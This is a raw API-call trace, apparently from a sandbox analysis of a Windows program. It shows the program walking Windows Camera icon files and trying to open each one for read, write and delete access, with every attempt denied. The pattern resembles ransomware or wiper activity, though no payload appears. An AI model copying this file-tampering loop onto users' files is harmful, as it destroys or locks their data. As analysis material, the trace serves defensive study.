	[0090.308] wcscpy (in: _Dest=0x2e33ed0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\WindowsIcons" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\WindowsIcons") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\WindowsIcons"
	[0090.308] wcscat (in: _Dest=0x2e33ed0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\WindowsIcons\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\WindowsIcons\\"
	[0090.308] wcscat (in: _Dest=0x2e33ed0, _Source="WindowsCameraAppList.contrast-white_scale-200.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\WindowsIcons\\WindowsCameraAppList.contrast-white_scale-200.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\WindowsIcons\\WindowsCameraAppList.contrast-white_scale-200.png"
	[0090.308] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\WindowsIcons\\WindowsCameraAppList.contrast-white_scale-200.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowscamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\assets\\windowsicons\\windowscameraapplist.contrast-white_scale-200.png")) returned 0x20
	[0090.311] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\WindowsIcons\\WindowsCameraAppList.contrast-white_scale-200.png", dwFileAttributes=0x20) returned 0
	[0090.311] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\WindowsIcons\\WindowsCameraAppList.contrast-white_scale-200.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowscamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\assets\\windowsicons\\windowscameraapplist.contrast-white_scale-200.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.311] GetLastError () returned 0x5
	[0090.311] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\WindowsIcons\\WindowsCameraAppList.contrast-white_scale-200.png", dwFileAttributes=0x20) returned 0
	[0090.311] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33ed0) returned 1
	[0090.311] FindNextFileW (in: hFindFile=0x477a828, lpFindFileData=0x502dc88 | out: lpFindFileData=0x502dc88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92b09436, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x92b09436, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x92b09436, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x187, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsCameraAppList.scale-200.png", cAlternateFileName="")) returned 1
	[0090.311] wcscmp (_String1="WindowsCameraAppList.scale-200.png", _String2=".") returned 1
	[0090.311] wcscmp (_String1="WindowsCameraAppList.scale-200.png", _String2="..") returned 1
	[0090.311] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x140) returned 0x2e347a8
	[0090.311] wcscpy (in: _Dest=0x2e347a8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\WindowsIcons" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\WindowsIcons") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\WindowsIcons"
	[0090.311] wcscat (in: _Dest=0x2e347a8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\WindowsIcons\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\WindowsIcons\\"
	[0090.311] wcscat (in: _Dest=0x2e347a8, _Source="WindowsCameraAppList.scale-200.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\WindowsIcons\\WindowsCameraAppList.scale-200.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\WindowsIcons\\WindowsCameraAppList.scale-200.png"
	[0090.311] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\WindowsIcons\\WindowsCameraAppList.scale-200.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowscamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\assets\\windowsicons\\windowscameraapplist.scale-200.png")) returned 0x20
	[0090.311] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\WindowsIcons\\WindowsCameraAppList.scale-200.png", dwFileAttributes=0x20) returned 0
	[0090.311] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\WindowsIcons\\WindowsCameraAppList.scale-200.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowscamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\assets\\windowsicons\\windowscameraapplist.scale-200.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.311] GetLastError () returned 0x5
	[0090.312] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\WindowsIcons\\WindowsCameraAppList.scale-200.png", dwFileAttributes=0x20) returned 0
	[0090.312] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e347a8) returned 1
	[0090.312] FindNextFileW (in: hFindFile=0x477a828, lpFindFileData=0x502dc88 | out: lpFindFileData=0x502dc88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92b09436, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x92b09436, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x92b09436, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0xbbd, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsCameraLargeTile.contrast-black_scale-200.png", cAlternateFileName="")) returned 1
	[0090.312] wcscmp (_String1="WindowsCameraLargeTile.contrast-black_scale-200.png", _String2=".") returned 1
	[0090.312] wcscmp (_String1="WindowsCameraLargeTile.contrast-black_scale-200.png", _String2="..") returned 1
	[0090.312] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x162) returned 0x2e347a8
	[0090.312] wcscpy (in: _Dest=0x2e347a8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\WindowsIcons" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\WindowsIcons") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\WindowsIcons"
	[0090.312] wcscat (in: _Dest=0x2e347a8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\WindowsIcons\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\WindowsIcons\\"
	[0090.312] wcscat (in: _Dest=0x2e347a8, _Source="WindowsCameraLargeTile.contrast-black_scale-200.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\WindowsIcons\\WindowsCameraLargeTile.contrast-black_scale-200.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\WindowsIcons\\WindowsCameraLargeTile.contrast-black_scale-200.png"
	[0090.312] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\WindowsIcons\\WindowsCameraLargeTile.contrast-black_scale-200.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowscamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\assets\\windowsicons\\windowscameralargetile.contrast-black_scale-200.png")) returned 0x20
	[0090.314] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\WindowsIcons\\WindowsCameraLargeTile.contrast-black_scale-200.png", dwFileAttributes=0x20) returned 0
	[0090.315] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\WindowsIcons\\WindowsCameraLargeTile.contrast-black_scale-200.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowscamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\assets\\windowsicons\\windowscameralargetile.contrast-black_scale-200.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.315] GetLastError () returned 0x5
	[0090.315] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\WindowsIcons\\WindowsCameraLargeTile.contrast-black_scale-200.png", dwFileAttributes=0x20) returned 0
	[0090.315] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e347a8) returned 1
	[0090.315] FindNextFileW (in: hFindFile=0x477a828, lpFindFileData=0x502dc88 | out: lpFindFileData=0x502dc88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92b09436, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x92b2f68f, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x92b2f68f, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0xba4, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsCameraLargeTile.contrast-white_scale-200.png", cAlternateFileName="")) returned 1
	[0090.315] wcscmp (_String1="WindowsCameraLargeTile.contrast-white_scale-200.png", _String2=".") returned 1
	[0090.315] wcscmp (_String1="WindowsCameraLargeTile.contrast-white_scale-200.png", _String2="..") returned 1
	[0090.315] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x162) returned 0x2e347a8
	[0090.315] wcscpy (in: _Dest=0x2e347a8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\WindowsIcons" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\WindowsIcons") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\WindowsIcons"
	[0090.315] wcscat (in: _Dest=0x2e347a8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\WindowsIcons\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\WindowsIcons\\"
	[0090.315] wcscat (in: _Dest=0x2e347a8, _Source="WindowsCameraLargeTile.contrast-white_scale-200.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\WindowsIcons\\WindowsCameraLargeTile.contrast-white_scale-200.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\WindowsIcons\\WindowsCameraLargeTile.contrast-white_scale-200.png"
	[0090.315] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\WindowsIcons\\WindowsCameraLargeTile.contrast-white_scale-200.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowscamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\assets\\windowsicons\\windowscameralargetile.contrast-white_scale-200.png")) returned 0x20
	[0090.315] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\WindowsIcons\\WindowsCameraLargeTile.contrast-white_scale-200.png", dwFileAttributes=0x20) returned 0
	[0090.315] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\WindowsIcons\\WindowsCameraLargeTile.contrast-white_scale-200.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowscamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\assets\\windowsicons\\windowscameralargetile.contrast-white_scale-200.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.316] GetLastError () returned 0x5
	[0090.316] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\WindowsIcons\\WindowsCameraLargeTile.contrast-white_scale-200.png", dwFileAttributes=0x20) returned 0
	[0090.316] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e347a8) returned 1
	[0090.316] FindNextFileW (in: hFindFile=0x477a828, lpFindFileData=0x502dc88 | out: lpFindFileData=0x502dc88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92b2f68f, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x92b2f68f, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x92b2f68f, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0xbbd, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsCameraLargeTile.scale-200.png", cAlternateFileName="")) returned 1
	[0090.316] wcscmp (_String1="WindowsCameraLargeTile.scale-200.png", _String2=".") returned 1
	[0090.316] wcscmp (_String1="WindowsCameraLargeTile.scale-200.png", _String2="..") returned 1
	[0090.316] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x144) returned 0x2e347a8
	[0090.316] wcscpy (in: _Dest=0x2e347a8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\WindowsIcons" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\WindowsIcons") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\WindowsIcons"
	[0090.316] wcscat (in: _Dest=0x2e347a8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\WindowsIcons\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\WindowsIcons\\"
	[0090.316] wcscat (in: _Dest=0x2e347a8, _Source="WindowsCameraLargeTile.scale-200.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\WindowsIcons\\WindowsCameraLargeTile.scale-200.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\WindowsIcons\\WindowsCameraLargeTile.scale-200.png"
	[0090.316] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\WindowsIcons\\WindowsCameraLargeTile.scale-200.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowscamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\assets\\windowsicons\\windowscameralargetile.scale-200.png")) returned 0x20
	[0090.319] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\WindowsIcons\\WindowsCameraLargeTile.scale-200.png", dwFileAttributes=0x20) returned 0
	[0090.319] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\WindowsIcons\\WindowsCameraLargeTile.scale-200.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowscamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\assets\\windowsicons\\windowscameralargetile.scale-200.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.319] GetLastError () returned 0x5
	[0090.319] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\WindowsIcons\\WindowsCameraLargeTile.scale-200.png", dwFileAttributes=0x20) returned 0
	[0090.319] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e347a8) returned 1
	[0090.320] FindNextFileW (in: hFindFile=0x477a828, lpFindFileData=0x502dc88 | out: lpFindFileData=0x502dc88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92b2f68f, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x92b558ed, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x92b558ed, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x432, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsCameraMedTile.contrast-black_scale-200.png", cAlternateFileName="")) returned 1
	[0090.320] wcscmp (_String1="WindowsCameraMedTile.contrast-black_scale-200.png", _String2=".") returned 1
	[0090.320] wcscmp (_String1="WindowsCameraMedTile.contrast-black_scale-200.png", _String2="..") returned 1
	[0090.320] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x15e) returned 0x2e33930
	[0090.320] wcscpy (in: _Dest=0x2e33930, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\WindowsIcons" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\WindowsIcons") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\WindowsIcons"
	[0090.320] wcscat (in: _Dest=0x2e33930, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\WindowsIcons\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\WindowsIcons\\"
	[0090.320] wcscat (in: _Dest=0x2e33930, _Source="WindowsCameraMedTile.contrast-black_scale-200.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\WindowsIcons\\WindowsCameraMedTile.contrast-black_scale-200.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\WindowsIcons\\WindowsCameraMedTile.contrast-black_scale-200.png"
	[0090.320] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\WindowsIcons\\WindowsCameraMedTile.contrast-black_scale-200.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowscamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\assets\\windowsicons\\windowscameramedtile.contrast-black_scale-200.png")) returned 0x20
	[0090.322] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\WindowsIcons\\WindowsCameraMedTile.contrast-black_scale-200.png", dwFileAttributes=0x20) returned 0
	[0090.322] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\WindowsIcons\\WindowsCameraMedTile.contrast-black_scale-200.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowscamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\assets\\windowsicons\\windowscameramedtile.contrast-black_scale-200.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.322] GetLastError () returned 0x5
	[0090.322] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\WindowsIcons\\WindowsCameraMedTile.contrast-black_scale-200.png", dwFileAttributes=0x20) returned 0
	[0090.322] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33930) returned 1
	[0090.322] FindNextFileW (in: hFindFile=0x477a828, lpFindFileData=0x502dc88 | out: lpFindFileData=0x502dc88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92b558ed, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x92b558ed, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x92b558ed, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x42d, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsCameraMedTile.contrast-white_scale-200.png", cAlternateFileName="")) returned 1
	[0090.322] wcscmp (_String1="WindowsCameraMedTile.contrast-white_scale-200.png", _String2=".") returned 1
	[0090.322] wcscmp (_String1="WindowsCameraMedTile.contrast-white_scale-200.png", _String2="..") returned 1
	[0090.322] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x15e) returned 0x2e345d8
	[0090.322] wcscpy (in: _Dest=0x2e345d8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\WindowsIcons" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\WindowsIcons") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\WindowsIcons"
	[0090.322] wcscat (in: _Dest=0x2e345d8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\WindowsIcons\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\WindowsIcons\\"
	[0090.322] wcscat (in: _Dest=0x2e345d8, _Source="WindowsCameraMedTile.contrast-white_scale-200.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\WindowsIcons\\WindowsCameraMedTile.contrast-white_scale-200.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\WindowsIcons\\WindowsCameraMedTile.contrast-white_scale-200.png"
	[0090.323] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\WindowsIcons\\WindowsCameraMedTile.contrast-white_scale-200.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowscamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\assets\\windowsicons\\windowscameramedtile.contrast-white_scale-200.png")) returned 0x20
	[0090.325] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\WindowsIcons\\WindowsCameraMedTile.contrast-white_scale-200.png", dwFileAttributes=0x20) returned 0
	[0090.325] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\WindowsIcons\\WindowsCameraMedTile.contrast-white_scale-200.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowscamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\assets\\windowsicons\\windowscameramedtile.contrast-white_scale-200.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.325] GetLastError () returned 0x5
	[0090.325] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\WindowsIcons\\WindowsCameraMedTile.contrast-white_scale-200.png", dwFileAttributes=0x20) returned 0
	[0090.325] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e345d8) returned 1
